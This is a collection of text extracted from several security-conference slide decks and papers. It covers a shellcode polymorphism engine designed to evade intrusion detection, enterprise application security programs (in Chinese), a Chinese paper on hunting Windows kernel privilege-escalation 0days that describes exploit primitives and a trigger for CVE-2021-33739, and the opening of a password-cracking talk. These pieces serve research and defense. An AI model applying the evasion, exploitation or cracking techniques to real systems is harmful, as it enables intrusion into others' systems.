traffic, right? • Wrong! Hydra does alphanumeric encoding – No binary! • Hydra pads your shellcode with bytes to make it look statistically similar to normal traffic. • Just give it sample files, it does the training automatically. Spectrum Shaping • Hydra learns a 1-byte distribution for the target, then uses Monte Carlos simulation to make your shellcode mimic this distribution. • Padding at the end is too simple; Hydra automatically spaces out your shellcode instructions inserts the blending bytes in between these instructions. • Spacing is adjustable. • Higher-byte mimicry also possible, under development. Randomized Address Zone • Sequence of repeated target addresses. • Overwrites %esp on stack to point to payload. • Simple IDS signature: NOPs and repeated numbers = sled + return zone. • Break signatures by adding random offsets to each address in the return zone. Aim for the middle of the NOP sled. Forking Shellcode • Successful exploit = target process hangs! NOT GOOD • Solution: fork()’ing shellcode. Child executes payload, parent tries to recover the exploited process. • Recovery is hard – correct %eip is normally lost during overflow. • Need to know target process address space – relative offset. • Hydra fork()s your shellcode for you automatically! Time-Cipher Shellcode • So can’t use signatures, can’t use statistics, now what? • Emulators! Build stripped down x86 emulator. Dynamically execute ALL network traffic and look for self-decryption. • Sounds nuts but people have done it! – Polychronakis citation – Kruegal dynamic disassembly • Solution? Syscall-based ciphering! Exploit the fact that emulators can’t handle full OS features. Time-Cipher Shellcode • Cipher your shellcode with special key that can only be recovered when executing with a real OS. • Can’t carry the key, that defeats the purpose. • Need the key to be recoverable from the target. • Can’t be static. • Solution: the time() syscall! Use the most significant bytes of result as the key: time-locked shellcode. Time-Cipher Shellcode • The key is used to decipher the primary cipher instructions in the main loop body. • If proper key isn’t recovered then main cipher loop doesn’t execute correctly – illegal instructions. Payload remains encrypted and undetected by the emulator. • Cipher chaining – with time as the initialization vector. • Can set a “shell-life” for the code: good for only a short period of time. Conclusion • Hydra is a new shellcode polymorphism engine designed to foil an array of known IDS methods. • Why? Because understanding the problem is half the solution. • Still under development mostly. For future updates check: – Pratap Prahbu: pvp2105@columbia.edu – Yingbo Song: yingbo@cs.columbia.edu • Columbia University Intrusion Detection Systems Lab: – http://www.cs.columbia.edu/ids
pdf
⼤型企业应用安全⽅案 钟卫林 OWASP 亚洲峰会 深圳 2017年 7月 ⼤型企业应用安全的挑战 • 规模 (Scalability) • 应用数量 • 代码数量 • 开发⼈员数量 • 团队/业务数量 ⼤型企业应用安全的挑战 • 复杂度 (Complexity) • 应用类型 • 编程语⾔类型 • 技术类型 • 编译环境 • 团队架构和⽂化 ⼤型企业应用安全的挑战 • 效率 (Efficiency) • 扫描速度 • 扫描容量 • 系统资源 • ⼯具安装 • ⼯具使用 • 流程集成 ⼤型企业应用安全的挑战 • 效用 ( Effectiveness) • 结果质量 • 准确度 • 从发现到修复 • 与现有环境流程的集成 ⼤型企业应用安全的挑战 • Governance 治理 • 策略和法规 • 流程和规则 • 团队建设 • 检测和监测 • 指标 (metrics) • 变化 (trending) • 报告 (dashboards) 解决⽅案? ⾦融,政府,传统⾏业: • 授⼈与鱼,不如授⼈与渔 • 重防御,早发现 • An ounce of prevention is worth a pound of cure 解决⽅案? 新型互联⽹公司: • 轻流程,重监测,快反应 • 安全问题交给专家解决 解决⽅案的三⼤要素 • ⼈:⽂化 • 技术:资源 • 流程 :管理 ⼤型企业应用安全框架 • 策略和法规 • 培训和指南 • 分析和检测 • 流程和管控 • 操作和执⾏ • 风险分析和控制 应用安全流程集成 应用开发安全实践 Microsoft Security Development Lifecycle 应用安全策略和法规 • 策略和法规 • 安全法规 • PCI, HIPPA, ⽹络安全法,密码法 • 安全政策 • 数据分级 • 交易风险分级 • 应用分级 • 批准的加密算法和实现 (Approved Crypto & Implementations) • 批准的⼯具 (Approved Tools) • 批准的库 (Approved Libraries) • 安全标准和指南 应用安全培训和指南 • 课程 • 核⼼安全培训 • 安全代码标准和基准 • 不安全功能 • 威胁建模 • 安全设计 • 代码检测和静态分析 • 动态检测和⼊侵测试 • 安全检测 • 其他相关安全课程 • 培训⽅式 应用安全设计分析和检测 • 分析和检测 • 安全需求 • 风险建模 • 安全设计 • 同⾏代码检测 • 静态分析 • 动态分析 • 攻击面分析 • 关联程序库安全分析 设计检测⼯具与定制 • 安全⾏为 • 安全需求 • 风险建模 • 安全设计 • ⼯具 • 应用画像 (Questionnaire/Profiling) • 专家系统 (应用需求设计风险) • 安全规则 • 安全checklist • 漏洞管理 • 整体流程集成 同⾏安全代码评测⼯具与定制 • 同⾏代码检测(Secure Peer Review) 静态分析⼯具与定制 扫描源代码,新语⾔,新架构, 规则易改 扫描⼆进制代码,传统语⾔支持, 传统架构,规则难改 其他静态分析⼯具 动态测试⼯具 应用安全分析⼯具SAAS模式 动静态结合⼯具举例 • 动静态结合安全测试 Integrated Application Security Testing (IAST) • 实时应用安全防护 Runtime Application Self-Protection (RASP) 关联程序库安全分析 流程和管控⼯具与定制 • 安全流程实现策略 • 软件开发流程集成 • 安全漏洞条 • 外部软件供应商安全规范 • 数据和报告 • 企业应用建库管理 风险分析和控制 • 风险分析 • 安全问题排级 • 企业整体安全报告 • 实时,全面,⼀目了然 • 及时调整安全策略 • 相关⼯具 操作和执⾏ • 应用安全中⼼集中定义流程 • Center of Excellence (COE) • 业务线执⾏团队 • Satellite Operation Teams (Application Security Champions) • 服务和咨询 • 应急反应 • 安全自动化 应用安全新趋势 • 新技术趋势 • 云-安全外包,数据保护,容器安全 • 移动-认证,病毒,个⼈信息和隐私 • ⼤数据-用户⾏为,信用体制 • ⼈⼯智能 - 机器学习和深度学习 • 发现新漏洞 • 减低误报率 • 降低或者替代⼈⼯分析 • 检测异常⾏为和恶意攻击 • 建立可靠的保护隐私的信用体制 • 自动产⽣安全规则 • 安全自动化 应用安全新趋势 • 挑战和机遇共存 • 建立安全⽣态 • 输出安全服务
pdf
Windows 本地提权在野 0day 狩猎之旅 Quan Jin <twitter: @jq0904> DBAPPSecurity Black Hat USA 2022 注:本文是作者在今年 Black Hat USA 2022 演讲议题的中文版 摘要 本文将讲述我们如何在 2020-2021 两年间狩猎 Windows 本地提权在野 0day 的故事:为什 么我们觉得这件事可行,我们如何研究历史案例,我们如何用学到的经验开发一套检测系统, 以及我们如何改进这套系统使之变得更准确。通过使用这套系统,我们成功捕获了两个 Windows 本地提权在野 0day 和一个 Windows 本地提权在野 1day。 此外,我们也将比较几种不同狩猎方法的优点和缺点,并给出一些对未来 Windows 本地提 权在野 0day 的趋势预测。 背景 从下图可以看出,从 2017 年到 2021 年,微软一共披露了 28 个在野的 Windows 本地提权 0day,它们中的大部分是 Windows 内核漏洞。这些漏洞通常被顶级 APT 组织使用,并且会 造成巨大危害。对安全厂商来说,捕获一个这样的在野 0day 是一件非常有挑战性的事情。 Windows 本地提权在野 0day (2017-2021) 是否有可能捕获一个 Windows 本地提权在野 0day? 为了回答这个问题,我们需要思考另外两个问题: 1. 如何获取有价值的数据源(可能含有在野 0day 的数据源)? 2. 如何开发一套有效的检测方法? 对于第一个问题,我们有一些自己的数据集。此外,历史案例表明像 VirusTotal 这类的公共 平台有可能出现 0day。因此,通过使用私有和公有数据集,我们可以解决第一个问题。 对于第二个问题,有两种方法可以从海量样本中捕获一个 0day:动态检测和静态检测。 a) 动态检测是指的是在真实环境中进行检测,或在沙箱中进行模拟执行,并通过异常行为 过滤出 0day 样本(典型代表是杀毒软件和沙箱) b) 静态检测是指使用静态特征匹配出样本(典型代表是 YARA) 两种方法都有其优点和缺点。我们对两种方法都进行了一些思考和尝试。测试结果表明,静 态检测方法更适合我们。我们将在后文详细描述这个过程。 接下来,我将解释为什么我们花了大量时间研究历史上的 Windows 本地提权在野 0day。 从历史(和当下)中学习 为什么我们应当从历史中学习? 有三个原因: 1. 一些漏洞利用手法在一段时间内具有连续性 2. 从攻击者视角进行思考可以帮助我们更好地防御 3. 历史案例已经被整个安全社区仔细研究过(我们可以站在巨人的肩膀上) 我们如何学习历史案例? 为了从历史中学习,我们研究了超过 50 个 CVE 漏洞,涵盖了从 2014 年到 2021 年期间几乎 所有的 Windows 本地提权在野 0day 和部分 1day。 我们仔细统计了这些漏洞的发现厂商、使用组织、修补周期、初始披露文章、使用场景、被 攻击的系统版本、漏洞模块、漏洞类型、利用手法、公开的分析博客、公开的利用代码、原 始样本(如果有)和其他信息。 这里我想重点说明其中的几个关键点。 使用场景: a) 样本是作为独立提权组件使用的,还是作为一个利用链的一部分? b) 利用代码是基于无文件形式使用的(例如 dll reflection),还是包含在一个落地文件中? 这些信息会直接影响我们对不同检测方案的选取。 被攻击的系统版本: 许多 Windows 本地提权样本在使用前会检测操作系统版本,并且只能在一些特定的版本中 利用或触发。 这个信息在制作沙箱环境或漏洞复现环境时尤其有用。 漏洞模块: 通过统计历史样本的漏洞模块,我们可以得知哪个组件最多次被攻击,哪个攻击面在一段特 定时间内最受攻击者青睐。 这些信息可以帮助我们预测接下来最可能出现的漏洞。 漏洞类型: 通过统计历史样本的漏洞类型,我们可以推断攻击者最喜欢使用的漏洞类型,这个信息可以 帮助我们制作正确的复现环境(例如,是否需要配置 Driver Verifier)。这个信息也可以告诉 我们不同漏洞类型的流行程度(例如竞争条件漏洞在最近几年逐渐增多)。 利用手法: 我认为这是最重要的信息。我们统计了大多数 Windows 本地提权在野 0day 的漏洞利用手 法。基于这部分统计,我们得出了一些有价值的结论。例如,“bServerSideWindowProc”手 法在 2015 年到 2016 年很流行;使用“Previous Mode”手法去实现任意地址读写的手法从 2018 开始变得越来越流行;使用“HMValidateHandle”来泄露内核信息的手法在过去 5 年 很流行。 公开的分析博客和利用代码: 公开的分析博客和利用代码包含整个社区的研究成果。吸收这些已存在的知识就像站在 巨人的肩膀上,对我们帮助很大。 原始样本(如果有): 我们仔细收集了历史 Windows 本地提权在野 0day 的原始样本(如果有)。这些原始样 本的文件、哈希和利用手法都是第一手资料,如果我们能检测到这些样本,我们也能捕 获到未来出现的相似样本。 为什么我们需要从当下学习? 除了从历史中学习,我们也应当从最新的漏洞和利用手法中学习。原因如下: 1. 一个新披露的漏洞可能会有变种(例如 CVE-2022-21882 漏洞是 CVE-2021-1732 的变 种) 2. 一个最新被攻击的模块可能会被整个社区 fuzz 或审计(例如 clfs.sys) 3. 一个攻击者也许还有一些相似的漏洞正在使用或还未使用(例如,卡巴斯基基于 CVE- 2021-1732 发现了 CVE-2021-28310) 4. 一种新的利用手法可能很快会被攻击者使用(例如“Scoop the Windows 10 pool!”这篇 文章中的 Pipe Attribute 手法) 接下来,我将描述我们如何比较不同的检测方法,并从中选择一个作为主要检测方法。 一条大路通罗马 选择合适的工具 据我们所知,有三种可选的具体方法可以捕获一个在野的 Windows 本地提权漏洞: 1. 杀毒软件(或其他类似工具) 2. 沙箱(或其他类似工具) 3. YARA(或其他类似工具) 杀毒软件是最强有力的工具。它部署在大规模真实环境中,可以实时检测到威胁,并且有机 会提取被加密的提权组件。在过去几年,卡巴斯基曾用他们的杀毒软件捕获了若干在野的 Windows 本地提权 0day。然而,不是每个厂商的杀毒软件都可以做到像卡巴斯基那样好。 同时,杀毒软件经常会被绕过或被检测到,这些都增加了开发一套基于杀毒软件的本地提权 漏洞狩猎方法的难度。 沙箱是另一个可以用来狩猎在野 0day 的工具。我曾有过一些使用沙箱成功捕获 Office 在野 0day 的经验。感兴趣的读者可以参考我之前在 Bluehat Shanghai 2019 上的演讲。 不像杀毒软件,沙箱环境高度可控,并且可以自由配置。此外,沙箱基于行为的检测使其结 果十分准确。 然而,我认为沙箱在某种程度上不适合狩猎 Windows 本地提权 0day。不像 Office,许多本 地提权漏洞利用会进行系统版本检测以避免不必要的蓝屏,这使得它们在面对沙箱时显得更 隐蔽。你也许会觉得可以通过制作更多的环境来解决这个问题,但现今每日新增的 PE 文件 数量巨大,每个样本都投递到一个新环境意味着巨大的资源开销,不是所有厂商都有足够的 资金去供得起这种开销。 此外,基于沙箱的检测方法在狩猎 Windows 本地提权样本时还存在一些其他缺点: 1. 一些样本需要参数(例如,一个进程 id),但沙箱默认无法提供合理的参数 2. 一些样本只会导致蓝屏,而没有其他行为,这使得它们较难被检测到 3. 沙箱的开发和部署存在一个周期,这会导致错过一些最新漏洞样本的最佳检测周期 YARA 是第三种可以狩猎 Windows 本地提权在野 0day 的方法。它在检测含有特定特征的恶 意样本方面有着很好的效果。 YARA 基本上没有技术壁垒,且 YARA 的规则无惧各种形式的检测(版本检测、绕过检测等)。 YARA 的另一个优势是它在开发和部署上非常灵活。当一种新的漏洞利用手法出现,我们可 以迅速将其转换为规则,并将其部署到检测系统。最后,YARA 规则的成本比杀毒软件和沙 箱都低。 但 YARA 规则也有一些缺点,例如它可以轻易导致漏报和误报。因此,如果我们使用 YARA 去狩猎本地提权在野 0day,我们需要对历史案例非常熟悉,而这一点我们在之前已经完成。 以上,我们对比了三种方法在狩猎 Windows 本地提权 0day 方面的优缺点,基于这些比对并 结合实际情况,我们最终选择了 YARA 作为我们的主要狩猎手法,对于 Windows 本地提权 在野 0day 狩猎来说,它最容易上手、最灵活并且成本最低。 我们选择 YARA 的另一个原因是:在写了一些 YARA 规则后,我们回测了一些历史 Windows 本地提权样本。让我们意外的是,YARA 的表现超出我们的预期。 编写正确的规则 接下来我们将描述如何将之前学到的经验转换为 YARA 规则。 基本上,我们有三种思路: 1. 为漏洞利用各个阶段的特征编写规则 2. 为最新的漏洞和利用手法编写规则 3. 为最可能出现的漏洞编写规则 对于第一种思路(为漏洞利用各个阶段的特征编写规则),通常来说,一个 Windows 内核本 地提权漏洞利用包含以下阶段: a) 漏洞触发 b) 堆风水 c) 内核信息泄露 d) 任意地址读写 e) 控制流劫持 f) 权限提升 我们的任务就是基于每个阶段的通用特征写规则。以下是两个例子: 对于内核信息泄露阶段,思路是匹配通用的 Windows 内核信息泄露手法。包括但不限于下 面这些:  NtQuerySystemInformation ➢ SystemBigPoolInformation ➢ SystemModuleInformation ➢ …  Win32k Shared Info User Handle Table  Descriptor Tables  HMValidateHandle  GdiSharedHandleTable 对于任意地址读写原语,部分思路是匹配以下出现过的历史手法:  SetWindowLong / SetWindowLongPtr  SetWindowText / InternalGetWindowText / NtUserDefSetText  GetMenuItemRect / SetMenuItemInfo / GetMenuBarInfo  NtUpdateWnfStateData / NtQueryWnfStateDate  GetBitmapBits / SetBitmapBits  GetPaletteEntries / SetPaletteEntries  CreatePipe / NtFsControlFile  Previous Mode + NtReadVirtualMemory / WriteVirtualMemory 需要指出的是,以上只是一些可能的思路,不是所有思路都适合 YARA 规则,其中一些思路 可能会导致大量误报。 对于第二种思路(为最新的漏洞和利用手法编写规则),这里我给出两个例子: 1. 2020 年 7 月, Synacktiv 公司 的 Paul Fariello(@paulfariello) 和 Corentin Bayet (@OnlyTheDuck)在 SSTIC 大会上提出了一种新的 Windows 内核堆溢出漏洞利用手 法。在学习了他们的白皮书后,我们意识到在 PagedPool 中借助 Pipe Attribute 手法 实现任意地址读取的利用方式具有通用性,在未来很可能会被用到。因此我们花了 一些时间为这种手法写了几条规则。事实证明这些规则后来捕获了一些高价值样本。 2. 2021 年 6 月 8 号,卡巴斯基写了一篇博客,披露了一个 Windows 本地提权在野 0day(CVE-2021-31956)。文章中提到样本使用 Windows Notification Facility (WNF) 实现了任意地址读写原语。随后在 2021 年 7 月和 8 月,NCC Group 公司的 Alex Plaskett(@alexjplaskett)发表了两篇博客,详细披露了 CVE-2021-31956 漏洞的利用 细 节 , 并 解 释 了 使 用 WNF 构 造 任 意 地 址 读 写 原 语 的 细 节 。 与 此 同 时 , YanZiShuang(@YanZiShuang)也写了一篇博客讨论了借助WNF构造任意地址读写原 语的手法。在学习了这些博客后,我们意识到这种方法是通用的,于是又花了一些 时间为此写了几条规则。和预期的一样,我们确实捕获了一些高价值样本。 对于第三种思路(为最可能出现的漏洞编写规则),我这里也给出一个例子。2021 年 4 月 13 号,卡巴斯基写了一篇博客披露了 CVE-2021-28310,这是一个位于 Windows 桌面窗口 管理器组件(Desktop Window Manager,简称为 dwm)的在野 Windows 本地提权 0day。 不到一个月后,ZDI 发表了另一篇博客,披露了另一个漏洞(CVE-2021-26900),这也 是一个位于 dwm 组件的漏洞。这使我们意识到这种类型的漏洞在未来还会出现,所以 我们在几个小时内为 dwm 漏洞写了几条规则。几周后,我们捕获了 CVE-2021-33739 这个 0day 漏洞。 编写出规则只是第一步。为了捕获一个 Windows 本地提权在野 0day,我们需要去构建一整 个系统。 构建可行的系统 思考如下三个问题: 1. 当一个样本命中了规则,如何及时通知我们? 2. 当一个命中的样本推送给我们,如何快速复现和分类它? 3. 为了调试不同的 Windows 本地提权 0day,我们需要掌握什么技巧? 对于第一个问题,如果 YARA 运行在 VirusTotal 上,我们可以使用其 Hunting 页面的通知机 制,我们可以在“Notify by email“一栏中填写用来接收通知的邮箱。这样,当一个新的样本被 命中,我们的邮箱会在第一时间接收到通知。对于运行在我们自有产品上的规则,我们构建 了一套类似 VirusTotal 的通知接口。 对于第二个问题,我们已经统计了每个历史案例中被攻击的系统版本,这些信息可以用在此 处。此外,考虑到我们捕获的可能是 Nday、1day 或者 0day,因此我们需要制作这三种不同 的环境,并且需要随时间流逝更新这三种环境。为了最小化复现时间,我们还制作了多种操 作系统环境,包括 Windows 7、Windows 10 和 Windows 11,并且涵盖了 x86 和 x64。 第三个问题取决于我们调试不同样本的经验。举个例子,对于那些已经分析过 Windows 内核堆溢出漏洞的人来说,Windows 内核调试和 Driver Verifier 配置是两种基本技巧。 此外,对于那些分析过 dwmcore 模块漏洞的人来说,使用 Windows 远程调试是必须的 (因为直接附加到 dwm.exe 进程会导致系统 UI 无法响应)。我们积累的经验越多,就可 以越好地回答这个问题。 测试和改进系统 没有方法是完美的,为了使系统更准确,我们做了如下测试和改进: 1. 使用收集到的历史 Windows 本地提权 0day 样本去测试规则,消除误报和漏报 2. 使用收集到的公开 poc/exploit 对规则进行测试,消除误报和漏报 3. 尝试编写 poc/exploit(对于一些无法收集到公开 poc/exploit 的漏洞案例),并对规则进 行测试,消除误报和漏报 4. 将规则应用到大规模样本进行压力测试,消除观察到的漏报和误报 5. 持续将最新的漏洞和利用手法转化为规则,编写、测试规则并消除误报和漏报 这套系统部署一年以后,我们捕获了大量 Windows 本地提权漏洞样本。 在接下来的章节,我们将分享这套系统捕获的三个案例: 1. CVE-2021-1732:一个位于 win32k 子系统的 Windows 本地提权在野 0day 2. CVE-2021-33739:一个位于桌面窗口管理器(Desktop Window Manager)的 Windows 本地提权在野 0day 3. 未知 CVE:一个位于通用日志文件系统(Common Log File System)的 Window 本 地提权在野 1day 首先来看第一个案例。 案例分享 CVE-2021-1732 的故事 2020 年 12 月 10 日,我们捕获了第一个 Windows 本地提权在野 0day,微软为这个漏洞分 配的编号为 CVE-2021-1732。 这 个 在 野 样 本 是 从 我 们 的 私 有 数 据 集 中 捕 获 的 , 我 们 注 意 到 它 是 因 为 它 使 用 了 HMValidateHandle 手法泄露内核信息,这是 Windows 内核提权漏洞利用中的一个强特征。 进一步的分析表明这个样本利用了一个 win32k 模块中的类型混淆漏洞。 值得一提的是,这个在野样本是作为一个独立组件使用的。当使用这个样本时,用户需要提 供一个进程 id 作为命令行参数,该进程 id 指出了需要被提权的进程。目标进程会先被结束, 然后以 system 权限重新启动。如果直接运行该在野样本,它也会将自身提权到 system 权 限,但会以没有任何可见行为的方式退出。 以下是这个在野样本的一些亮点: 1. 它针对的是当时最新的 Windows 10 1909 x64 操作系统(样本编译于 2020 年 5 月) 2. 它使用 GetMenuBarInfo 来构造任意地址读取原语,该手法此前未公开过 3. 在漏洞利用之前,它检测了特定杀毒软件,并对系统版本进行了检测 关于该 0day 的其他细节可以参考我们的博客。 下面来看第二个案例。 CVE-2021-33739 的故事 2021 年 5 月 22 日,我们捕获了第二个 Windows 本地提权在野 0day,微软为这个漏洞分配 的编号为 CVE-2021-33739。 正如我在“编写正确的规则”章节所提到,我们会经常预测最可能出现的漏洞并编写规则。在 2020 年 5 月前后,我们为 dwm 漏洞编写了一些规则,在捕获了一些 dwm 组件的 Nday 漏 洞后,我们在 2021 年 5 月 22 日捕获了一个不熟悉的 dwm 漏洞样本。进一步的分析表明这 个样本中含有一个 1day 漏洞利用和另一个 0day 漏洞。 最初遇到这个样本时,我们并不知道它是基于一份公开代码编译的。和往常一样,我们在一 个全补丁环境中复现了这个样本。复现结果清楚地表明样本中存在一个 0day,这是一个位 于 dwmcore.dll 模块的 UAF 漏洞。 随后我们在 Github 上追踪到了相关源码,那是一份 CVE-2021-26868 漏洞的利用代码。在 野样本仅仅只是替换了源码中的 shellcode 部分。此时我们有点疑惑:一个 1day 样本中怎 么可能包含一个 0day? 在仔细确认后,我们得出结论:作者在编写 CVE-2021-26868 漏洞的利用代码时无意间引入 了一个新的 0day 漏洞。如果是这样的话,这个 0day 就不能被归类为“在野 0day”。 这是漏洞修复前我们发给 MSRC 的邮件(部分): 这是 MSRC 最终公布的该漏洞的在野利用状态: 所以这确实是一个很有趣的案例。 现在让我来讲述更多关于 CVE-2021-33739 的细节。 这个漏洞的成因是非预期的操作导致dwmcore模块的CInteractionTrackerBindingManager 对象出现引用计数不平衡,从而引发 UAF。 为了触发这个漏洞,我们只需要创建一个 CInteractionTrackerBindingManagerMarshaler 资 源 和 一 个 CInteractionTrackerMarshaler 资 源 , 然 后 将 同 一 个 CInteractionTrackerMarshaler 资源绑定到 CInteractionTrackerBindingManagerMarshaler 资源两次,并且不要手动释放这些资源。 在 正 常 情 况 下 ( 当 resource1_id 和 resource2_id 不 一 样 时 ), CInteractionTrackerBindingManager 对象会调用 ProcessSetTrackerBindingMode 两次, 以将引用计数增加 2,随后代码会调用 RemoveTrackerBindings 两次以将引用计数减 2, 并且在后面引用计数减为 0 时将 CInteractionTrackerBindingManager 对象正常释放。 在漏洞场景中,CInteractionTrackerBindingManager 对象的引用计数变化与正常情况下 不同。(dwmcore 内的)代码只会调用 ProcessSetTrackerBindingMode 一次将引用计数 加 1,但代码仍然会调用 RemoveTrackerBindings 两次以将引用计数减 2。在第一次调 用 RemoveTrackerBindings 时,CInteractionTrackerBindingManager 对象的引用计数会 被减至 0,此时 CInteractionTrackerBindingManager 会被 InternalRelease 释放。在第二 次 调 用 RemoveTrackerBindings 时 , 当 函 数 内 的 代 码 尝 试 去 获 取 已 被 释 放 的 CInteractionTrackerBindingManager 对象的成员数据时,就会造成 UAF。 接下来我们来看第三个案例。 一个“已被修补”的 1day 的故事 2021 年 10 月 16 日,我们捕获了一个新的 Windows 通用日志文件系统(CLFS)1day。 这个样本来自 VirusTotal。 正如我在“编写正确的规则”章节所提到,我们会经常为最新的漏洞利用手法编写规则。 2021 年 10 月 16 日,我们为 Pipe Attribute 编写的规则命中了一个样本。进一步的测试 表明这个样本利用了一个 1day 漏洞,高楼的影响所有 2021 年 9 月前受支持的 Windows 操作系统版本。 由于缺乏相关信息,我们无法确定该漏洞对应的 CVE 编号,它可能是以下三个编号中的 一个,也可能不是它们中的任何一个:  CVE-2021-36963  CVE-2021-36955  CVE-2021-38633 这个 1day 漏洞的根因是 clfs 模块对 Client Context Offset 缺乏一些必要的校验。攻击者 可以借此提供一个非法的 Client Context Offset。 在野样本借助这个漏洞让一个 blf 文件的第一个 Client Context Offset(0x2B5)指向第二个 Container Context Offset。 图片来自“DeathNote of Microsoft Windows Kernel”, KeenLab, 2016 随后借助 CClfsLogFcbPhysical::FlushMetadata 种的一个 1 比特翻转指令将第二个 Container Context Offset 从 0x13A0 改为了 0x1BA0,从而使该 Container Context Offset 指向了一个假的 ClfsContainer 对象。 在假的 ClfsContainer 对象的帮助下(攻击者已提前构造好该伪造的对象),利用代码劫 持了两个虚函数:CClfsContainer::Release 和 CClfsContainer::Remove,并且基于此在 CClfsBaseFilePersisted::RemoveContainer 构造了一个一次写入两个任意地址的原语。 一个 ClfsContainer 对象的正常虚函数表如下: 假的 ClfsContainer 对象伪造的虚函数表如下: 此外,在野样本还使用“Scoop the Windows 10 pool!”这篇文章里面提到的“Pipe Attribute” 方法构造了一个任意地址读取原语。为了获得一个 Pipe Attribute 对象的地址,它还使 用了另一个公开的方法:通过查询 SystemBigPoolInformation 来泄露一个 Pipe Attribute 对象的地址。 有了内核任意地址读写原语后,利用代码成功将当前进程的访问令牌替换为 system 进 程的令牌,并以 system 权限弹出了一个 cmd 窗口。 让我们来看一下微软是如何修补这个漏洞的,微软的开发人员只检查了 Client Context Offset 的下限,以确保其不能小于 0x1368。 修补方案并没有对Client Context Offset的上限做检测。如果我们构造一个值大于0x1368 的 Client Context Offset,并且使其直接指向一个内存中的 Container Context 对象会怎 么样?答案是一个新的 0day 漏洞。 我们在 2021 年 12 月将该变种报告给了 MSRC,微软在 2022 年 4 月修复了这个漏洞,并且 为其分配了 CVE-2022-24481 这个编号。 以上就是关于三个案例的分享。最后,让我们给出一些对 Windows 本地提权漏洞检测的建 议,并分享一些对未来 Windows 本地提权在野 0day 的趋势预测。 写在最后 关于 Windows 本地提权漏洞的一些检测建议:  选择自己能力范围内最适合的方法  仔细研究历史案例总是一件好事  留意那些新出现的在野漏洞的变种 对未来 Windows 本地提权漏洞 0day 的趋势预测:  未来会出现更多 clfs 模块的漏洞  “Pipe Attribute”这种手法在未来会继续被使用  未来会有更多在野利用使用以下手法: ➢ Arbitrary address read/write with the help of WNF, POC2021 ➢ Arbitrary address read/write with the help of ALPC, Blackhat Asia 2022 ➢ Arbitrary address read/write with the help of I/O Ring, TyphoonCon 2022 引用 1. https://github.com/synacktiv/Windows-kernel-SegmentHeap-Aligned-Chunk-Confusion 2. https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/ 3. https://research.nccgroup.com/2021/07/15/cve-2021-31956-exploiting-the-windows- kernel-ntfs-with-wnf-part-1/ 4. https://research.nccgroup.com/2021/08/17/cve-2021-31956-exploiting-the-windows- kernel-ntfs-with-wnf-part-2/ 5. https://vul.360.net/archives/83 6. https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021- 28310-used-in-the-wild/101898/ 7. https://www.zerodayinitiative.com/blog/2021/5/3/cve-2021-26900-privilege-escalation- via-a-use-after-free-vulnerability-in-win32k 8. https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day- exploit-is-used-by-bitter-apt-in-targeted-attack/ 9. https://github.com/KangD1W2/CVE-2021-26868 10. https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Xu-The-Next-Generation-of- Windows-Exploitation-Attacking-the-Common-Log-File-System.pdf 11. https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit- primitive-on-windows-11/ 12. https://github.com/oct0xor/presentations/blob/master/2019-02- Overview%20of%20the%20latest%20Windows%20OS%20kernel%20exploits%20found %20in%20the%20wild.pdf 13. https://research.checkpoint.com/2020/graphology-of-an-exploit-volodya/ 14. https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/
pdf
Password Cracking on a Budget Matt Weir Dr. Sudhir Aggarwal Florida State University Special Thanks To • Bill Glodek • Professor Breno de Medeiros • National Institute of Justice About Me • Name - Matt Weir • Occupation - PhD Student, Florida State University • Previously worked for Northrop Grumman TASC - Network Security Engineer - Last project I supported forensic investigators working with the JTF-GNO • Disclosed Password - xcom - Real strong, right? Disclaimer • I’m a student. I don’t crack passwords for a living • I’ve been wrong about many things before • I’ve probably made just about every mistake possible while learning how to crack passwords • I’ve been known to write passwords down How this will be Different from the Shmoocon Talk • What! I can’t just use the same slides? • The Shmoocon talk focused on three main areas - The ethics of password cracking - Where we get disclosed password lists to do research on - Our analysis of those password lists and an overview of how people actually create passwords • You can see a video of that talk + slides at www.shmoocon.org This is Defcon • All that information is neat but... - How do you go about applying this in real life? - Without having to spend a lot of money - Note: That being said, having money to throw around makes things a lot easier Because this is a 50 minute talk... • I’ll be available to answer questions, go into more detail, rant, and listen to better ideas afterwards • You can also e-mail me - weir@cs.fsu.edu • It’s important to me that this research actually helps somebody Getting the Tools • We’ve developed a lot of custom tools and scripts to make cracking passwords easier • While they are included on the Defcon CD, you can get the most up to date versions at the following website • www.ecit.fsu.edu - Select “Password Recovery Tools” Password Basics •I want to avoid giving everyone a CISSP prep course on password cracking •That being said, if you have questions, please ask them Two types of password cracking • Online - Trying different passwords to log in - Can be slow and noisy - You may only be allowed a few guesses • Offline • You grabbed the password file • You now are only limited by how fast your computer is Password Hashes • Hopefully your computer, website, online bank, does not keep your passwords in plain text • If it does, then there isn’t much need to crack any passwords once someone grabs the password list Password Hashes (continued) • Step 1) User creates password : “password” • Step 2) Computer Hashes the password • MD5(“password”) = 5F4DCC3B5AA765D61D8327DEB882CF99 • Step 3) To log in the user types “password” • Step 4) The computer hashes “password” and compares it against the hash it stored Salts • Salts are a value added to a password to make it harder to crack • For example, you could add the username MD5(“bob”+”password”) 3690eb69b329e009ecd053e27e7454b5 MD5(“tom”+”password”) 4125d856a8860ebf67e1fbad03167452 The Brick Wall • There are usually two factors that can stop you from cracking a password • You don’t try the right dictionary word • You don’t try the right word mangling rule A Quick Break to Kick off a few Demos Text Graph stolen from indexed.blogspot.com So you hit the wall... • Do you try more wordlists? - Unless you are very careful, this can result in a lot of wasted work as wordlists often have significant overlap • Do you try more word mangling rules - Advanced word mangling rules often start to resemble brute force. Let’s Talk about Wordlists • Very important when cracking passwords • Boring as Hell Common Places to Find Wordlists • http://www.word-list.com/ • http://www.outpost9.com/files/ WordLists.html • www.theargon.com/achilles/wordlists/ theargonlists • Xploits Master Password Collection on Bittorrent Creating Better Wordlists • The wordlists you find online leave a lot to be desired • David Smith at Georgetown University is doing some really good work at creating wordlists off of hard drive images • Creating wordlists by hand based on online info is a pain, but effective The Care and Feeding of Wordlists • Try and avoid duplicate words • How are the words terminated? • Standardize capitalization • How many artifacts does the wordlist have? • Is the word length important? Some of our Work with Wordlists • Wiktionary grabber - Creates language specific word lists • Wikipedia grabber - Attempts to create custom wordlists based upon search criteria - Still needs a lot of work Judging Dictionaries Based on Edit Distance • We originally created customized dictionaries 